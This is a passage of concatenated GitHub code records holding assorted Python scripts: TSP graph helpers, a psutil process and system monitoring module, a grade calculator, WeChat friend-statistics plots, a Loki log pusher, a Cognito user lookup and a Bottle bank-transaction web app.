a graph with specific x, y coordinates\"\n pos = {}\n x=nx.get_node_attributes(G,'x')\n y=nx.get_node_attributes(G,'y')\n\n for n in G.node:\n pos[n] = [x[n], y[n]]\n\n nx.draw(G, pos)\n plt.show()\n\ndef initgraph(G):\n \"Initialize graph with all edge their weight. Weight function is euclidean diastance\"\n x=nx.get_node_attributes(G,'x')\n y=nx.get_node_attributes(G,'y')\n\n for i in sorted(nx.nodes(G)):\n for j in range(int(i)+1, len(G)):\n G.add_edge(i, str(j), weight=sqrt((x[i] - x[str(j)])**2 + (y[i] - y[str(j)])**2)) \n\ndef addEdge(L, G, listnode, item, index):\n cost = 0\n try:\n L.add_edge(item, listnode[index+1], weight=G[item][listnode[index+1]]['weight'])\n cost = G[item][listnode[index+1]]['weight']\n except KeyError as e:\n L.add_edge(listnode[index+1], item, weight=G[listnode[index+1]][item]['weight'])\n cost = weight=G[listnode[index+1]][item]['weight']\n finally:\n return cost\n\ndef randomCityGraph(n):\n G = nx.random_geometric_graph(n,1)\n pos=nx.get_node_attributes(G,'pos')\n\n weight = {};\n\n for u,v,d in G.edges(data=True):\n G.add_edge(u, v, weight=sqrt((pos[u][0] - pos[v][0])**2 + (pos[u][1] - pos[v][1])**2))\n\n return G","repo_name":"theofilis/approximate-metric-tsp","sub_path":"myUtility.py","file_name":"myUtility.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28265288955","text":"#coding:utf-8\n__author__ = 'lufeng4828@163.com'\n\nimport time\nimport psutil\nimport logging\nfrom swall.utils import node\n\nlog = logging.getLogger()\n\n\n@node\ndef top(num_processes=5, interval=3, *args, **kwarg):\n \"\"\"\n def top((num_processes=5, interval=3, *args, **kwarg) -> Return a list of top CPU consuming processes during the interval.\n @param num_processes int:the top N CPU consuming processes\n @param interval int:the number of seconds to sample CPU usage over\n @return list:a list of top CPU consuming processes\n \"\"\"\n num_processes = int(num_processes)\n interval = int(num_processes)\n result = []\n start_usage = {}\n for pid in psutil.get_pid_list():\n try:\n process = psutil.Process(pid)\n user, system = process.get_cpu_times()\n except psutil.NoSuchProcess:\n continue\n start_usage[process] = user + system\n time.sleep(interval)\n usage = set()\n for process, start in start_usage.items():\n try:\n user, system = process.get_cpu_times()\n except psutil.NoSuchProcess:\n continue\n now = user + system\n diff = now - start\n usage.add((diff, process))\n\n for idx, (diff, process) in enumerate(reversed(sorted(usage))):\n if num_processes and idx >= num_processes:\n break\n if len(process.cmdline()) == 0:\n cmdline = [process.name()]\n else:\n cmdline = process.cmdline()\n info = {'cmd': cmdline,\n 'user': process.username(),\n 'status': process.status(),\n 'pid': process.pid,\n 'create_time': process.create_time(),\n 'cpu': {},\n 'mem': {},\n }\n for key, value in process.get_cpu_times()._asdict().items():\n info['cpu'][key] = value\n for key, value in process.get_memory_info()._asdict().items():\n info['mem'][key] = value\n result.append(info)\n return result\n\n\n@node\ndef get_pid_list(*args, **kwarg):\n \"\"\"\n def get_pid_list(*args, **kwarg) -> Return a list of process ids (PIDs) for all running processes.\n @return list:\n \"\"\"\n return psutil.get_pid_list()\n\n\n@node\ndef kill_pid(pid, signal=15, *args, **kwarg):\n \"\"\"\n def kill_pid(pid, signal=15, *args, **kwarg) -> Kill a process by PID.\n @param pid int:PID of process to kill.\n @param signal int:Signal to send to the process. See manpage entry for kill for possible values. Default: 15 (SIGTERM).\n @return bool:True or False\n \"\"\"\n try:\n psutil.Process(int(pid)).send_signal(signal)\n return True\n except psutil.NoSuchProcess:\n return False\n\n\n@node\ndef pkill(pattern, user=None, signal=15, full=False, *args, **kwarg):\n \"\"\"\n def pkill(pattern, user=None, signal=15, full=False, *args, **kwarg) -> Kill processes matching a pattern.\n @param pattern string: Pattern to search for in the process list.\n @param user string: Limit matches to the given username. Default: All users.\n @param int signal: Signal to send to the process(es). See manpage entry for kill for possible values. Default: 15 (SIGTERM).\n @param full bool: A boolean value indicating whether only the name of the command or the full command line should be matched against the pattern.\n @return list:killed pid\n \"\"\"\n signal = int(signal)\n killed = []\n for proc in psutil.process_iter():\n name_match = pattern in ' '.join(proc.cmdline()) if full \\\n else pattern in proc.name()\n user_match = True if user is None else user == proc.username()\n if name_match and user_match:\n try:\n proc.send_signal(signal)\n killed.append(proc.pid)\n except psutil.NoSuchProcess:\n pass\n if not killed:\n return None\n else:\n return {'killed': killed}\n\n\n@node\ndef pgrep(pattern, user=None, full=False, *args, **kwarg):\n \"\"\"\n def pgrep(pattern, user=None, full=False, *args, **kwarg) -> Return the pids for processes matching a pattern. If full is true, the full command line is searched for a match,\n otherwise only the name of the command is searched.\n @param pattern string: Pattern to search for in the process list.\n @param user string: Limit matches to the given username. Default: All users.\n @param full bool: A boolean value indicating whether only the name of the command or the full command line should be matched against the pattern.\n @return list:\n \"\"\"\n\n procs = []\n for proc in psutil.process_iter():\n name_match = pattern in ' '.join(proc.cmdline()) if full \\\n else pattern in proc.name()\n user_match = True if user is None else user == proc.username()\n if name_match and user_match:\n procs.append({\"pname\": ','.join(proc.cmdline()), \"pid\": proc.pid})\n return procs or None\n\n\n@node\ndef cpu_percent(interval=0.1, per_cpu=False, *args, **kwarg):\n \"\"\"\n def cpu_percent(interval=0.1, per_cpu=False) -> Return the percent of time the CPU is busy.\n @param interval int: the number of seconds to sample CPU usage over\n @param per_cpu bool:if True return an array of CPU percent busy for each CPU, otherwise aggregate all percents into one number\n @return list:\n \"\"\"\n interval = float(interval)\n if per_cpu:\n result = list(psutil.cpu_percent(interval, True))\n else:\n result = psutil.cpu_percent(interval)\n return result\n\n\n@node\ndef cpu_times(per_cpu=False, *args, **kwarg):\n \"\"\"\n def cpu_times(per_cpu=False) -> Return the percent of time the CPU spends in each state, e.g. user, system, idle, nice, iowait, irq, softirq.\n @param per_cpu bool:if True return an array of percents for each CPU, otherwise aggregate all percents into one number\n @return dict:\n \"\"\"\n if per_cpu:\n result = [dict(times._asdict()) for times in psutil.cpu_times(True)]\n else:\n result = dict(psutil.cpu_times(per_cpu)._asdict())\n return result\n\n\n@node\ndef virtual_memory(*args, **kwarg):\n \"\"\"\n def virtual_memory(*args, **kwarg) -> Return a dict that describes statistics about system memory usage.\n @return dict:\n \"\"\"\n return dict(psutil.virtual_memory()._asdict())\n\n\n@node\ndef swap_memory(*args, **kwarg):\n \"\"\"\n def swap_memory(*args, **kwarg) -> Return a dict that describes swap memory statistics.\n @return dict:\n \"\"\"\n return dict(psutil.swap_memory()._asdict())\n\n\n@node\ndef physical_memory_usage(*args, **kwarg):\n \"\"\"\n def physical_memory_usage(*args, **kwarg) -> Return a dict that describes free and available physical memory.\n @return dict:\n \"\"\"\n return dict(psutil.phymem_usage()._asdict())\n\n\n@node\ndef virtual_memory_usage(*args, **kwarg):\n \"\"\"\n def virtual_memory_usage(*args, **kwarg) -> Return a dict that describes free and available memory, both physical\n @return dict:\n \"\"\"\n return dict(psutil.virtmem_usage()._asdict())\n\n\n@node\ndef cached_physical_memory(*args, **kwarg):\n \"\"\"\n def cached_physical_memory(*args, **kwarg) -> Return the amount cached memory.\n @return int:\n \"\"\"\n return psutil.cached_phymem()\n\n\n@node\ndef physical_memory_buffers(*args, **kwarg):\n \"\"\"\n def physical_memory_buffers(*args, **kwarg) -> Return the amount of physical memory buffers.\n @return int\n \"\"\"\n return psutil.phymem_buffers()\n\n\n@node\ndef disk_partitions(all=False, *args, **kwarg):\n \"\"\"\n def disk_partitions(all=False, *args, **kwarg) -> Return a list of disk partitions and their device, mount point, and filesystem type.\n @param all bool: if set to False, only return local, physical partitions (hard disk, USB, CD/DVD partitions). If True, return all filesystems.\n return list(dict):\n \"\"\"\n result = [dict(partition._asdict()) for partition in\n psutil.disk_partitions(all)]\n return result\n\n\n@node\ndef disk_usage(path, *args, **kwarg):\n \"\"\"\n def disk_usage(path, *args, **kwarg) -> Given a path, return a dict listing the total available space as well as the free space, and used space.\n @param path string:e.g /home\n @return dict:\n \"\"\"\n return dict(psutil.disk_usage(path)._asdict())\n\n\n@node\ndef disk_partition_usage(all=False, *args, **kwarg):\n \"\"\"\n def disk_partition_usage(all=False, *args, **kwarg) -> Return a list of disk partitions plus the mount point, filesystem and usage statistics.\n @param all bool:if set to False, only return local, physical partitions (hard disk, USB, CD/DVD partitions). If True, return all filesystems.\n @return list(dict):\n \"\"\"\n result = disk_partitions(all)\n for partition in result:\n partition.update(disk_usage(partition['mountpoint']))\n return result\n\n\n@node\ndef total_physical_memory(*args, **kwarg):\n \"\"\"\n def total_physical_memory(*args, **kwarg) -> Return the total number of bytes of physical memory.\n @return int:\n \"\"\"\n return psutil.TOTAL_PHYMEM\n\n\n@node\ndef num_cpus(*args, **kwarg):\n \"\"\"\n def num_cpus(*args, **kwarg) -> Return the number of CPUs.\n @return int:\n \"\"\"\n return psutil.NUM_CPUS\n\n","repo_name":"lufeng4828/swall","sub_path":"module/ps.py","file_name":"ps.py","file_ext":"py","file_size_in_byte":9130,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"37"} +{"seq_id":"25432971821","text":"#Name: Gabriel N Sa\n#Date: 09.07.2018\n#Description: Simple grade system.\n\n#Recieving scores and returning the average grades:\ndef average(number_of_tests):\n accumulator = 0\n for counter in range(number_of_tests):\n accumulator += float(input('Enter the {}º score: '.format(counter+1)))\n return accumulator/number_of_tests\n\n#Recieving number of tests:\ndef recieve_num_of_tests():\n number_of_tests = int(input('Enter the number of tests: '))\n return number_of_tests\n\n#Checking approval:\ndef check_approval(average, presence_index):\n if(average >= 7):\n print('APPROVED')\n elif((average >= 3 and average <7) and presence_index >= 75):\n print('TO SUMMER SCHOOL')\n elif(average < 3):\n print('NOT APPROVED BY AVERAGE GRADE')\n else:\n print('NOT APPROVED BY PRESENCE')\n\n#Calculate presence index:\ndef compute_presence_index():\n number_of_classes = int(input('Enter the total number of classes: '))\n missed_classes = int(input('Enter the number of missed classes by the student: '))\n presence_index = (missed_classes/number_of_classes)*100\n return (100 - presence_index)\n\n#Main function:\nnumber_of_tests = recieve_num_of_tests()\naverage = average(number_of_tests)\npresence_index = compute_presence_index()\ncheck_approval(average, presence_index)\n","repo_name":"gabrielnsa/Exercises","sub_path":"simple_grade_sys.py","file_name":"simple_grade_sys.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22440056302","text":"#登录微信,获取朋友信息的库\nimport itchat\n\n#计数用的库\nimport collections\n\n#画饼图用的库\nimport matplotlib.pyplot as plt\n\n#解决图片中文乱码\nimport matplotlib.font_manager as fm\n\n#画地图用的库\nimport pyecharts as pc\n\ndef get_friends():\n # login to wechat\n itchat.login()\n\n # get friend information\n friends = itchat.get_friends(update=True)[0:]\n\n return friends\n\ndef plot_sex(friends):\n # get sex list\n sexs = list(map(lambda x: x['Sex'], friends[1:]))\n\n sex_counts = [0, 1, 2]\n sex = collections.Counter(sexs)\n print(sex)\n counts = []\n # get the statistic value from sex\n for i in sex_counts:\n counts.append(sex[i])\n\n print(counts)\n\n # define the labels \n labels = ['Unknow', 'Male', 'Female']\n\n # define the colors\n colors = ['red', 'blue', 'coral']\n\n # up the female part\n explode = [0, 0, 0.1]\n\n # set the figure size\n plt.figure(figsize=(8, 8))\n\n plt.axes(aspect=1)\n plt.pie(counts,\n labels=labels,\n colors=colors,\n explode=explode,\n labeldistance=1.1,\n autopct='%3.1f%%',\n shadow=False,\n startangle=90,\n pctdistance=0.6)\n font_set = fm.FontProperties(fname=r\"c:\\windows\\fonts\\simsun.ttc\", size=15)\n plt.title(u'陈永斌 wetchatfriends', fontproperties=font_set)\n\n plt.show()\n\npro_attr = ['安徽', '北京', '福建', '广东', '贵州', '海南', '河北', '河南', '黑龙江','湖北', '湖南', '吉林', '江苏', '辽宁', '山东','山西', '陕西', '上海', '四川', '天津', '云南', '浙江', '重庆']\n\ndef plot_province(friends):\n friend_pro = []\n\n for each in friends[1:]:\n friend_pro.append(each['Province'])\n\n pr_loc = collections.Counter(friend_pro)\n print(pr_loc)\n value = []\n\n # map the counter value to pro_attr\n for each in pro_attr:\n value.append(pr_loc[each])\n\n print(value)\n friend_map = pc.Map(u'陈永斌 各省微信好友分布',\n 'John',\n width=1200, height=600)\n friend_map.add('', pro_attr, value, maptype='china',\n is_visualmap=True, visual_text_color='#000')\n\n friend_map.show_config()\n friend_map.render('weixin1.html')\n \ndef plot_city(friends):\n friends_city = []\n \n for city in friends[1:]:\n friends_city.append(city['City'])\n\n city_loc = collections.Counter(friends_city)\n print(city_loc)\n \n values = []\n for city in set(friends_city):\n if city != '' and city.isalpha() and city[0].isupper() == False:\n values.append((city, city_loc[city]))\n\n geo = pc.Geo(u\"陈永斌 各省微信好友分布\", 'John',\n title_color = '#fff', title_pos='center',\n width=1200, height=600,\n background_color='#404a59')\n\n attr, value = geo.cast(values)\n print(value)\n print(attr)\n geo.add('', attr, value, visual_range=[0, 200],\n visual_text_color='#fff',\n symbol_size=15, is_visualmap=True)\n\n geo.show_config()\n\n geo.render('weixin2.html')\n\ndef main():\n friends = get_friends()\n\n plot_sex(friends)\n\n plot_province(friends)\n\n plot_city(friends)\n \nmain()\n","repo_name":"zozowit/python_homework","sub_path":"wechat_friends/wechat_friends.py","file_name":"wechat_friends.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73341172268","text":"#!/bin/env python3\n# coding: utf8\n\"\"\"更具配置将不同类型的信息推送到不同的目的地\n\n\"\"\"\nimport asyncio\nimport logging\nfrom pathlib import Path\n\nimport yaml\n\nimport _base\nfrom grafana.push import Handler\nfrom tools import gc_callback\n\nlogger = logging.getLogger(\"host-service.bin.to-loki\")\n\n_base.logging_configurator(\n name=\"to-loki\",\n console_print=True,\n console_level=\"INFO\" if _base.IS_SYSTEMD else \"DEBUG\",\n file_level=\"DEBUG\" if _base.IS_SYSTEMD else \"INFO\",\n)\n\nconfig = \"\"\"version: 1\n\ninputs:\n - type: clash\n host: hostname\n token:\n - type: ping\n host: hostname:port\n - type: tailscale\n tsnet: tsnet\n api_key: api_key\n\noutputs:\n - type: loki\n host: hostname\n user_id: user_id\n api_key: api_key\n - type: file\n filename: filename.log\n encoding: utf-8\n mode: a+\n\"\"\"\n\n\ndef to_loki(file: Path):\n config_dict = yaml.safe_load(file.read_text(encoding=\"utf8\"))\n logger.info(\"Loaded Config File Success.\")\n\n handle = Handler()\n for i in config_dict[\"inputs\"]:\n i: dict\n type_ = i.pop(\"type\")\n handle.register_input(type_, **i)\n logger.info(\"注册输入: %s, %s\", type_, i)\n for o in config_dict[\"outputs\"]:\n o: dict\n type_ = o.pop(\"type\")\n handle.register_output(type_, **o)\n logger.info(\"注册输出: %s, %s\", type_, o)\n\n asyncio.run(handle.start())\n\n\nif __name__ == \"__main__\":\n import typer\n import gc\n\n gc.callbacks.append(gc_callback)\n\n typer.run(to_loki)\n","repo_name":"lee-cq/host-service","sub_path":"bin/to_loki.py","file_name":"to_loki.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7194263411","text":"import boto3\nfrom botocore.client import Config\nfrom csv import reader, writer\n\nfrom pprint import pprint\n\ndef get_client(service: str, region = 'us-west-2'):\n return boto3.client(\n service, region_name=region, config=Config(signature_version=\"s3v4\")\n )\ndef get_cognito_client():\n return get_client(\"cognito-idp\")\n\n\ndef get_sso_user_by_email(email: str) -> dict:\n return get_cognito_client().admin_get_user(UserPoolId='us-west-2_VODHRFn7A', Username=email)\n\n\nwith open('./user_admin.csv') as csv_file, open('./usuarios_verificados.csv', 'w') as outFile:\n csv_reader = reader(csv_file, delimiter=',')\n write = writer(outFile, delimiter=',')\n attrs = {}\n line_count = -1\n row_to_write = []\n to_print = \"\"\n for row in csv_reader:\n line_count +=1\n if line_count != 0:\n email =row[0]\n try:\n response = get_sso_user_by_email(email)\n user_status = response.get('UserStatus')\n sso_id = response.get('Username')\n except:\n user_status = \"\"\n breakpoint()\n if line_count == 5:\n break","repo_name":"juliandecoss/scripts","sub_path":"nogit/csv/verify-user/verified_users.py","file_name":"verified_users.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35886341311","text":"#!/usr/bin/env python3\n# coding=utf-8\n\n\nfrom bottle import Bottle, static_file, request, template, run, auth_basic\n#from bottle import jinja2_view as view, jinja2_template as template\nimport datetime\nimport dateutil.relativedelta\nimport calendar\nimport json\nimport csv\nimport sys\nimport re\nimport os\nimport io\nimport codecs\nimport locale\nimport json\nimport hashlib\n\nimport kontomodel\n\nconfigdata = None\n\nclass MyBottle(Bottle):\n def default_error_handler(self, error):\n return str(error).replace(\"\\\\n\", \"\\n\")\n\napp = MyBottle()\n#app = Bottle()\n\ndef getKonto():\n return kontomodel.KontoModel(sqlitefile='konto.sqlite')\n\ndef check_pass(username, password):\n global configdata\n return configdata is None or (('username' not in configdata or configdata['username'] is None or configdata['username'] == username) and ('passwordsha224' not in configdata or configdata['passwordsha224'] is None or configdata['passwordsha224'] == hashlib.sha224(password.encode()).hexdigest()))\n\n@app.route('/static/')\n@auth_basic(check_pass)\ndef server_static(thefilename):\n return static_file(thefilename, root='static')\n\n\n@app.route('/')\n@auth_basic(check_pass)\ndef indexFile():\n k = getKonto()\n accounts = k.getAccounts()\n categoriesNames = k.getCategoriesNames()\n return template('index.tpl', title=\"debits and credits\", site='index', accounts=accounts, categoriesNames=categoriesNames)\n\n\ndef buildTitle(categorySelection, fromDate, toDate):\n title = ''\n if categorySelection is not None:\n if len(categorySelection) == 1:\n title = title + template(', category \"{{x}}\"', x=categorySelection[0])\n elif len(categorySelection) > 1:\n title = title + template(', categories {{x}}', x=(\", \".join(categorySelection)))\n title = title + ' (' + fromDate.strftime(\"%Y-%m-%d\") + \" - \" + toDate.strftime(\"%Y-%m-%d\") + \")\"\n return title\n\n\n@app.route('/getConsolidated', method=\"POST\")\n@auth_basic(check_pass)\ndef getConsolidated():\n k = getKonto()\n groupBy = request.json.get('groupBy')\n traces = request.json.get('traces')\n\n fromDateJSON = request.json.get('fromDate', None)\n fromDate = None\n if fromDateJSON is not None:\n fromDate = datetime.datetime.strptime(fromDateJSON + \" 00:00:00.000000\", '%Y-%m-%d %H:%M:%S.%f')\n\n toDateJSON = request.json.get('toDate', None)\n toDate = None\n if toDateJSON is not None:\n toDate = datetime.datetime.strptime(toDateJSON + \" 23:59:59.999999\", '%Y-%m-%d %H:%M:%S.%f')\n\n accounts = request.json.get('accounts')\n patternInput = request.json.get('patternInput')\n thepattern = None if len(patternInput) == 0 else patternInput\n\n minAmount = request.json.get('minAmount', None)\n maxAmount = request.json.get('maxAmount', None)\n\n legendonlyTraces = [\"transfer\", \"income\"]\n transactions = k.getTransactions(accounts=accounts, fromDate=fromDate, toDate=toDate, minAmount=minAmount, maxAmount=maxAmount, categorySelection=None, thepattern=thepattern)\n consolidated = k.getConsolidated(transactions=transactions[\"transactions\"], groupBy=groupBy, traceNames=traces, sortScatterBy='timestamp', sortScatterByReverse=True, legendonlyTraces=legendonlyTraces)\n\n thetraces = []\n for t in consolidated['traces'].values():\n thetraces.extend(t)\n\n # return json.dumps(request.json.get('items'))\n return json.dumps({'traces': thetraces,\n 'title': buildTitle(categorySelection=None, fromDate=fromDate, toDate=toDate),\n 'foundDuplicates': transactions['foundDuplicates']\n })\n\n\ndef _prepareTraces(traces, nametraces):\n transactionsByName = nametraces\n transactionsByNameOverview = []\n for transactionByName in transactionsByName:\n y = 0.0\n values = transactionByName[\"y\"]\n for i in range(0, len(values)):\n y += values[i]\n transactionsByNameOverview.append({\"name\": transactionByName[\"name\"], \"sumint\": y, \"sum\": \"{:.2f}\".format(y)})\n transactionsByNameOverview = sorted(transactionsByNameOverview, key=lambda x: x[\"sumint\"])\n\n categoryOverview = []\n for trace in traces:\n category = trace[\"name\"]\n y = 0.0\n for i in range(0, len(trace[\"y\"])):\n y += trace[\"y\"][i]\n categoryOverview.append({\"category\": category, \"sumint\": y, \"sum\": \"{:.2f}\".format(y)})\n categoryOverview = sorted(categoryOverview, key=lambda co: co[\"sumint\"])\n return {\"transactionsByName\": transactionsByNameOverview, \"transactionsByCategory\": categoryOverview}\n\n\n@app.route('/transactions/getDetails', method=\"POST\")\n@auth_basic(check_pass)\ndef getDetails():\n k = getKonto()\n groupBy = request.json.get('groupBy')\n\n fromDateJSON = request.json.get('fromDate', None)\n fromDate = None\n if fromDateJSON is not None:\n fromDate = datetime.datetime.strptime(fromDateJSON + \" 00:00:00.000000\", '%Y-%m-%d %H:%M:%S.%f')\n\n toDateJSON = request.json.get('toDate', None)\n toDate = None\n if toDateJSON is not None:\n toDate = datetime.datetime.strptime(toDateJSON + \" 23:59:59.999999\", '%Y-%m-%d %H:%M:%S.%f')\n\n theX = request.json.get('theX')\n if theX is not None:\n if groupBy == 'week':\n xfrom = datetime.datetime.strptime(theX + \" 1 00:00:00.000000\", '%G-week %V %w %H:%M:%S.%f')\n xto = xfrom + datetime.timedelta(days=6)\n xto = datetime.datetime(year=xto.year, month=xto.month, day=xto.day, hour=23, minute=59, second=59, microsecond=999999)\n\n elif groupBy == 'month':\n xfrom = datetime.datetime.strptime(theX + \"-01 00:00:00.000000\", '%Y-%m-%d %H:%M:%S.%f')\n _, num_days = calendar.monthrange(xfrom.year, xfrom.month)\n xto = datetime.datetime(year=xfrom.year, month=xfrom.month, day=num_days, hour=23, minute=59, second=59, microsecond=999999)\n\n elif groupBy == 'quarter':\n quarterPattern = re.compile('(\\d\\d\\d\\d)-quarter (\\d+)')\n quarterMatch = quarterPattern.match(theX)\n theyearint = int(quarterMatch.group(1))\n thequarter = quarterMatch.group(2)\n themonthint = ((int(thequarter) - 1) * 3) + 1\n thelastmonthint = themonthint + 2\n\n xfrom = datetime.datetime(year=theyearint, month=themonthint, day=1, hour=0, minute=0, second=0, microsecond=0)\n _, num_days = calendar.monthrange(theyearint, thelastmonthint)\n xto = datetime.datetime(year=theyearint, month=thelastmonthint, day=num_days, hour=23, minute=59, second=59, microsecond=999999)\n\n elif groupBy == 'year':\n xfrom = datetime.datetime.strptime(theX + \"-01-01 00:00:00.000000\", '%Y-%m-%d %H:%M:%S.%f')\n _, num_days = calendar.monthrange(xfrom.year, 12)\n xto = datetime.datetime(year=xfrom.year, month=12, day=num_days, hour=23, minute=59, second=59, microsecond=999999)\n\n if xfrom > fromDate:\n fromDate = xfrom\n if xto < toDate:\n toDate = xto\n\n accounts = request.json.get('accounts')\n patternInput = request.json.get('patternInput')\n thepattern = None if patternInput is None or len(patternInput) == 0 else patternInput\n categorySelection = request.json.get('categorySelection')\n\n sortScatterBy = request.json.get('sortScatterBy')\n sortScatterByReverse = request.json.get('sortScatterByReverse')\n\n title = buildTitle(categorySelection=categorySelection, fromDate=fromDate, toDate=toDate)\n\n minAmount = request.json.get('minAmount', None)\n maxAmount = request.json.get('maxAmount', None)\n\n legendonlyTraces = [\"transfer\", \"income\"]\n transactions = k.getTransactions(accounts=accounts, fromDate=fromDate, toDate=toDate, minAmount=minAmount, maxAmount=maxAmount, categorySelection=categorySelection, thepattern=thepattern)\n consolidated = k.getConsolidated(transactions=transactions[\"transactions\"], groupBy=groupBy, traceNames=['scatter', 'traces', 'nametraces'], sortScatterBy=sortScatterBy, sortScatterByReverse=sortScatterByReverse, legendonlyTraces=legendonlyTraces)\n\n thescatter = consolidated['scatter']\n validatedRules = k.validateRules(transactions=transactions)\n preparedTraces = _prepareTraces(traces=consolidated[\"traces\"][\"traces\"], nametraces=consolidated[\"traces\"][\"nametraces\"])\n\n result = []\n for i in range(0, len(thescatter['timestamp'])):\n mydate = datetime.datetime.fromtimestamp(thescatter['timestamp'][i]).strftime('%Y-%m-%d')\n result.append({ 'date': mydate,\n 'account': thescatter['account'][i],\n 'id': thescatter['id'][i],\n 'amountint': thescatter['amount'][i],\n 'amount': \"{:.2f}\".format(thescatter['amount'][i]),\n 'currency': thescatter['currency'][i],\n 'name': thescatter['name'][i],\n 'description': thescatter['description'][i],\n 'category': thescatter['category'][i],\n 'note': thescatter['note'][i],\n 'x': thescatter['theX'][i]})\n return json.dumps({\"title\": title, \"data\": result, \"validatedRules\": validatedRules, \"transactionsByName\": preparedTraces[\"transactionsByName\"], \"transactionsByCategory\": preparedTraces[\"transactionsByCategory\"]})\n\n\n@app.route('/check///')\n@auth_basic(check_pass)\ndef check(yearmonth, lastMonths, includeHeader):\n k = getKonto()\n categories = k.parseCategories()\n rules = []\n for c in categories:\n if c[\"expectedValue\"] is not None:\n rules.append(c)\n\n firstDayOfMonth = None\n if yearmonth == \"current\" or yearmonth == \"previous\":\n firstDayOfMonth = datetime.datetime.today()\n else:\n firstDayOfMonth = datetime.datetime.strptime(yearmonth, \"%Y-%m\")\n\n aggregatedDetails = {}\n for i in range(0, int(lastMonths)):\n firstDayOfMonth = datetime.datetime(year=firstDayOfMonth.year, month=firstDayOfMonth.month, day=1, hour=0, minute=0, second=0, microsecond=0)\n\n if yearmonth != \"previous\" or i == 1:\n _, num_days = calendar.monthrange(firstDayOfMonth.year, firstDayOfMonth.month)\n lastDayOfMonth = datetime.datetime(year=firstDayOfMonth.year, month=firstDayOfMonth.month, day=num_days, hour=23, minute=59, second=59, microsecond=999999)\n monthString = firstDayOfMonth.strftime(\"%m/%Y\")\n\n transactions = k.getTransactions(accounts=None, fromDate=firstDayOfMonth, toDate=lastDayOfMonth, minAmount=None, maxAmount=None, categorySelection=None, thepattern=None)\n consolidated = k.getConsolidated(transactions=transactions[\"transactions\"], groupBy=\"month\", traceNames=[\"traces\", \"nametraces\", \"profit\"], sortScatterBy='timestamp', sortScatterByReverse=True, legendonlyTraces=[\"transfer\", \"income\"])\n aggregatedDetails[monthString] = {}\n aggregatedDetails[monthString][\"validatedRules\"] = k.validateRules(transactions=transactions)\n preparedTraces = _prepareTraces(traces=consolidated[\"traces\"][\"traces\"], nametraces=consolidated[\"traces\"][\"nametraces\"])\n aggregatedDetails[monthString][\"transactionsByName\"] = preparedTraces[\"transactionsByName\"]\n aggregatedDetails[monthString][\"transactionsByCategory\"] = preparedTraces[\"transactionsByCategory\"]\n\n firstDayOfMonth = firstDayOfMonth - dateutil.relativedelta.relativedelta(months=1)\n\n return template('check.tpl', site=\"check\", aggregatedDetails=aggregatedDetails, includeHeader=includeHeader)\n\n\n@app.route('/uploadCSV', method='GET')\n@auth_basic(check_pass)\ndef uploadCSV():\n return template('uploadCSV.tpl', site='uploadCSV')\n\n\n@app.route('/uploadCSV', method='POST')\n@auth_basic(check_pass)\ndef uploadCSVPost():\n upload = request.files.get(\"upload\")\n cfile = codecs.iterdecode(upload.file, request.forms.getunicode('encoding'))\n for i in range(0, int(request.forms.getunicode('skiplines'))):\n next(cfile)\n reader = csv.reader(cfile, delimiter=request.forms.getunicode('delimiter'))\n k = getKonto()\n\n account = request.forms.getunicode('account')\n dateformat = request.forms.getunicode('dateformat')\n thelocale = request.forms.getunicode('locale')\n daterow = int(request.forms.getunicode('daterow'))\n namerow = int(request.forms.getunicode('namerow'))\n descriptionrow = int(request.forms.getunicode('descriptionrow'))\n amountrow = int(request.forms.getunicode('amountrow'))\n\n currencyrowstr = request.forms.getunicode('currencyrow')\n currencyrow = None\n if currencyrowstr is not None and len(currencyrowstr.strip()) != 0:\n currencyrow = int(currencyrowstr)\n\n sollhabenrowstr = request.forms.getunicode('sollhabenrow')\n sollhabenrow = None\n if sollhabenrowstr is not None and len(sollhabenrowstr.strip()) != 0:\n sollhabenrow = int(sollhabenrowstr)\n\n locale.setlocale(locale.LC_ALL, thelocale)\n\n content = []\n i = 0\n for row in reader:\n if len(row) == 0:\n continue\n startOfDay = datetime.datetime.strptime(row[daterow] + \" 00:00:00.000000\", dateformat + \" %H:%M:%S.%f\")\n endOfDay = datetime.datetime.strptime(row[daterow] + \" 23:59:59.999999\", dateformat + \" %H:%M:%S.%f\")\n thedate = datetime.datetime.strptime(row[daterow], dateformat).strftime(\"%d.%m.%Y\")\n name = row[namerow].replace(\"\\n\", \"\")\n description = row[descriptionrow].replace(\"\\n\", \"\")\n amount = locale.atof(row[amountrow])\n currency = \"\" if currencyrow is None else row[currencyrow]\n sollhaben = None if sollhabenrow is None else row[sollhabenrow]\n if sollhaben == \"S\":\n amount = amount * -1.0\n errorstr = None\n\n if currency != '€' and currency != \"EUR\" and currency != \"\":\n errorstr = \"currency is not EURO: \" + currency\n else:\n dupe = {\"date\": datetime.datetime.strptime(row[daterow], dateformat).strftime(\"%d.%m.%Y\"),\n \"account\": account,\n \"name\": name,\n \"amount\": amount}\n if k.hasTransactionEntry(entry=dupe):\n errorstr = \"possible duplicate found\"\n\n ne = {\"date\": thedate, \"name\": name, \"description\": description, \"amountint\": amount, \"amount\": \"{:.2f}\".format(amount), \"error\": errorstr}\n content.append(ne)\n\n #upload.save(\"/tmp/test.txt\")\n return template('uploadTransactions.tpl', site='uploadCSV', account=account, content=content)\n\n\n@app.route('/uploadTransactions', method='POST')\n@auth_basic(check_pass)\ndef uploadTransactionsPost():\n entries = request.json.get('entries')\n account = request.json.get('account')\n\n k = getKonto()\n ids = []\n for e in entries:\n theid = k.createTransactionEntry(entry={\n \"date\": e[\"date\"],\n \"name\": e[\"name\"],\n \"description\": e[\"description\"],\n \"amount\": e[\"amount\"],\n \"account\": account,\n \"currency\": \"\",\n \"category\": None,\n \"note\": None\n })\n ids.append(theid)\n return str(len(ids)) + \" entries imported.\"\n\n\n@app.route('/transactions/createEntry', 